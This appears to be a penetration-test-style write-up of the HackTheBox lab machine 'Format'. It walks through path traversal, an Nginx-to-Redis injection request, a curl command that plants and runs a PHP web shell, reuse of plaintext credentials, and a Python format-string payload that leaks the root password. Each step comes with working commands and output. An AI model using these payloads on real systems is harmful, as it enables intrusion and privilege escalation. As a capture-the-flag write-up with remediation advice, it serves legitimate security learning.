Format - Pentest Report
Executive Summary
HackTheBox contracted Otrashoui Cybersecurity Services™ to perform a Network Penetration Test of one of Hack The Box’s internal hosts to identify security weaknesses, determine the impact to HackTheBox, and provide remediation recommendations.
Approach
Otrashoui Cybersecurity Services™ performed testing under a “black box” approach without credentials or any prior knowledge of HackTheBox’s environment.
Scope
Host | Description |
---|---|
10.10.11.213 | Format Web Server |
Assessment Overview and Recommendations
During the Penetration test against HackTheBox, Otrashoui Cybersecurity Services™ identified five (5) findings that affect HackTheBox’s information security posture.
The first finding involved a Local File Disclosure that enabled reading arbitrary files on the server. This vulnerability could be used to gain access to sensitive information, such as credentials or configuration files. This kind of issues can be fixed by adopting secure coding practices and periodic source code audits.
There was a flaw in the Nginx (web server) configuration that allowed to send commands to the Redis instance. This flaw can be used to elevate privileges in the web application and become a “Pro” user. These flaws can be mitigated by hardening the configuration files, and performing configuration audits.
Another finding involved an Arbitrary File Write vulnerability only exploitable by “Pro” users. This vulnerability results in remote code execution, allowing remote access to the server. This vulnerability can be mitigated by validating or sanitizing user input to ensure no malicious data is present.
The tester found plaintext credentials stored in the Redis instance. This means that an attacker who gains access to the server is able to retrieve passwords for all user of the web application, no matter the password strength. Password or other sensitive data should be hashed or encrypted using strong and reputable algorithms (we recommend Argon2 or Bcrypt for hashing algorithms).
Finally, there was a custom Python script used to manage license information. A format string vulnerability was discovered, which allowed accessing sensitive data present in the script. This included an encryption key, which was reused for the password of the root
account, thus granting full administrative access on the host. This issue can easily be fixed by using more recent Python features.
Summary of Findings
The following table presents a summary of findings by severity level:
High | Medium | Low | Total |
---|---|---|---|
5 | 0 | 0 | 5 |
Below is a high-level overview of each finding identified during the assessment. These findings are covered in depth in the Technical Findings Details section of this report:
Name | Severity |
---|---|
Local File Disclosure | High |
Nginx Misconfiguration | High |
Plaintext Storage of Password | High |
Python Format String Vulnerability | High |
Arbitrary File Write | High |
Exploitation Walkthrough
During the course of the assessment, Otrashoui Cybersecurity Services™ was able to gain a foothold and compromise the in-scope host. The steps below demonstrate how the tester went from unauthenticated user to administrative access on the host.
Detailed Walkthrough
- A blog author can exploit a vulnerability that allows reading local files on the server.
- Using this vulnerability, the tester discovered a misconfiguration in Nginx that allows unauthenticated users to send commands to the Redis instance. This resulted in privilege escalation on the web application, giving the tester access to the “Pro” role.
- Users in the “Pro” tier can exploit a vulnerability that enables arbitrary file write in the web directory. This resulted in remote code execution.
- Having local access to the server, the tester could retrieve plaintext passwords from the Redis instance. One password was reused for the
cooper
local user account. - The
cooper
user was allowed to run a custom Python script asroot
. This Python script had a flaw that enabled leaking sensitive data from that Python script. This included the encryption key, which was reused as the password for theroot
user.
Reproduction Steps
In the following code snippets, [...]
is used to discard irrelevant output in the current context. Additionally, lines starting with the $
character indicate a system command typed by the tester.
After creating a new blog, go to /edit
to add a section. Intercept the request and modify the id
POST parameter to /etc/nginx/sites-enabled/default
to view the Nginx configuration:
location ~ \/static\/(.*)\/(.*) {
resolver 127.0.0.1;
proxy_pass http:\/\/$1.microbucket.htb\/$2;
}
This block of the Nginx configuration has a flaw whch allows sending arbitrary commands to the redis Unix socket (more information in this blog post). Here is the paylaod that will upgrade the account “yep” to “pro”:
EVAL /static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:%22return%20redis.call('hset','yep','pro','true')%22%200%20/asdfasdf HTTP/1.1
Host: microblog.htb
When “Pro” accounts are created, an uploads
folder is created, which allows users to upload images to their blog. It is possible to reuse the directory traversal in the id
parameter when editing the blog to write arbitrary PHP code inside this uploads
folder:
$ curl yep.microblog.htb/edit/index.php -d 'id=../uploads/shell.php&txt=<?php system($_REQUEST["cmd"]); ?>'
$ curl yep.microblog.htb/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A clear text password was found in the redis instance, which is reused to login as cooper
:
www-data@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:uqtdnrggersfm2mi818nt1qcbq"
2) "cooper.dooper"
3) "cooper.dooper:sites"
4) "yep"
5) "yep:sites"
redis /var/run/redis/redis.sock> hget cooper.dooper password
"zooperdoopercooper"
The cooper
user is allowed to run a custom python script /usr/bin/license
:
cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
The script reads /root/license/secret
which is used for the encryption key:
[...]= [line.strip() for line in open("/root/license/secret")][0]
secret = secret.encode()
secret_encoded = b'microblogsalt123'
salt = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend())
kdf = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
encryption_key [...]
Then, the script fetches user data from redis and builds a format string:
= "microblog"
prefix = r.hget(args.provision, "username").decode()
username = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
firstlast = (prefix + username + "{license.license}" + firstlast).format(license=l) license_key
Since a portion of the format string is user-controlled, it is possible to exploit it to include other variables.
Change the last-name
parameter in redis to a format string to print the secret
variable:
hset yep last-name {license.__init__.__globals__[secret]}
Execute the script to print the secret
variable:
cooper@format:~$ sudo license -p yep
Plaintext license key:
------------------------------------------------------
microblogyep/%QzJ#0?qCGuRyI8iRi{dh>#l^L`g7XbP#p@*'a*yepunCR4ckaBL3Pa$$w0rd
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYqXC2Xp3JGFVI__uSaLXpb9X84cyRMk[...]
the encryption key (unCR4ckaBL3Pa$$w0rd
) is reused for the root
account:
cooper@format:~$ su -l
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation Summary
Short Term
- Validate user input by verifying the final absolute path is allowed.
- Consider using “f-strings” instead of the old
.format()
(requires Python 3.6 or newer). - Store credentials hashed (the Argon2 or Bcrypt hashing algorithms are recommended).
- Modify the regular expression in the
location
block to only allow needed characters.
Medium Term
- Consider implenting a enterprise password manager to avoid password reuse.
Long Term
- Perform regular security audits
Technical Findings Details
1. Local File Disclosure - High
CWE | 22 |
---|---|
CVSS 3.1 Score | 6.5 |
Affected Host | http://*.microblog.htb |
Description | The web application fails to sufficiently sanitize user input when accessing files on the local filesystem, which allows reading files outside the application. |
Impact | If an attacker is able to create an account, this vulnerability allows them to read potentially sensitive files on the underlying server, like configuration files or credentials. |
Remediation | Validate user input by verifying the final absolute path is allowed. |
External References | https://owasp.org/www-community/attacks/Path_Traversal |
Evidence
The first step is to create a blog. Here is a convenience python script to create a new blog:
#!/usr/bin/env python3
import requests
= "http://app.microblog.htb"
target = "yep"
username = "asdf"
password
with requests.Session() as session:
# register
= {
data "first-name": username,
"last-name": username,
"username": username,
"password": password,
}= session.post(f"{target}/register/", data=data, allow_redirects=False)
r
# login
= {
data "username": username,
"password": password,
}f"{target}/login/", data=data, allow_redirects=False)
session.post(
# add site
= {"new-blog-name": username}
data f"{target}/dashboard/", data=data, allow_redirects=False) session.post(
This will register an account with username yep
and password asdf
, and create a blog at http://yep.microblog.htb
.
Then go to http://yep.microblog.htb/edit/
to edit the blog. When adding a new section, a request is made:
By modifying the id
POST parameter, it is possible to read local files (/etc/passwd
in this example):
2. Nginx Misconfiguration - High
CWE | |
---|---|
CVSS 3.1 Score | 8.1 |
Affected Host | microblog.htb (10.10.11.213) |
Description | The Nginx web server has a misconfiguration that allows to pass commands to the Redis instance. |
Impact | An attacker can use this vulnerability to execute commands to the Redis instance, allowing them to elevate their privileges on the web application, gaining access to dangerous functionality. |
Remediation | Modify the regular expression in the location block to only allow needed characters. |
External References | https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/ |
Evidence
server {
[...]
server_name microblog.htb
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
EVAL /static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:%22return%20redis.call('hset','yep','pro','true')%22%200%20/asdfasdf HTTP/1.1
Host: microblog.htb
3. Arbitrary File Write - High
CWE | 434 |
---|---|
CVSS 3.1 Score | 7.2 |
Affected Applicaton | http://*.microblog.htb |
Description | “Pro” users have the ability to upload images. This functionality can be abused to write PHP files in the web directory. |
Impact | This vulnerability results in remote code execution on the underlying web server. |
Remediation | Validate/sanitize user input to make sure only legitimate data is processed. |
External References | https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html |
Evidence
When “Pro” accounts are created, an uploads
folder is created, which allows users to upload images to their blog. It is possible to reuse the directory traversal in the id
parameter when editing the blog to write arbitrary PHP code inside this uploads
folder:
$ curl yep.microblog.htb/edit/index.php -d 'id=../uploads/shell.php&txt=<?php system($_REQUEST["cmd"]); ?>'
$ curl yep.microblog.htb/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Plaintext Storage of Password - High
CWE | 256 |
---|---|
CVSS 3.1 Score | 7.8 |
Affected Host | microblog.htb (10.10.11.213) |
Description | The web application stores passwords of users in plaintext. |
Impact | An attacker who gains access to the local system can retrieve credentials of every user of this application. |
Remediation | Store credentials hashed (the Argon2 or Bcrypt hashing algorithms are recommended). |
External References | https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html |
Evidence
Use the redis-cli
client to access the Redis instance via the unix socket at /var/run/redis/redis.sock
:
www-data@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:uqtdnrggersfm2mi818nt1qcbq"
2) "cooper.dooper"
3) "cooper.dooper:sites"
4) "yep"
5) "yep:sites"
redis /var/run/redis/redis.sock> hget cooper.dooper password
"zooperdoopercooper"
This password can be used to login as cooper
:
$ ssh cooper@microblog.htb
cooper@microblog.htb's password:
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
[...]
cooper@format:~$
5. Python Format String Vulnerability - High
CWE | 134 |
---|---|
CVSS 3.1 Score | 8.0 |
Affected Host | microblog.htb (10.10.11.213) |
Description | The /usr/bin/license python script is vulnerable to a format string vulnerability. |
Impact | An attacker might get access to sensitive data, such as credentials. |
Remediation | Consider using “f-strings” instead of the old .format() (requires Python 3.6 or newer). |
External References | https://podalirius.net/en/articles/python-format-string-vulnerabilities/ |
Evidence
The user cooper
is allowed to run /usr/bin/license
which is a Python script as the root
user:
cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
The script reads /root/license/secret
which is used for the encryption key:
[...]= [line.strip() for line in open("/root/license/secret")][0]
secret = secret.encode()
secret_encoded = b'microblogsalt123'
salt = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
kdf = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
encryption_key [...]
Then, the script connects to the Redis instance to retrieve the first name and last name for a given user (specified via command line option). These variables are then concatenated in a format string:
[...]= "microblog"
prefix = r.hget(args.provision, "username").decode()
username = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
firstlast = (prefix + username + "{license.license}" + firstlast).format(license=l)
license_key print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
[...]
Since any user can connect to the Redis instance, it is possible to create or modify an entry with a specific fist or last name that enables reading variables in the Python script.
Change the last-name
parameter in redis to a format string to print the secret
variable:
hset yep last-name {license.__init__.__globals__[secret]}
Execute the script to print the secret
variable:
cooper@format:~$ sudo license -p yep
Plaintext license key:
------------------------------------------------------
microblogyep/%QzJ#0?qCGuRyI8iRi{dh>#l^L`g7XbP#p@*'a*yepunCR4ckaBL3Pa$$w0rd
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYqXC2Xp3JGFVI__uSaLXpb9X84cyRMk[...]
the encryption key is reused for the root
account:
cooper@format:~$ su -l
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)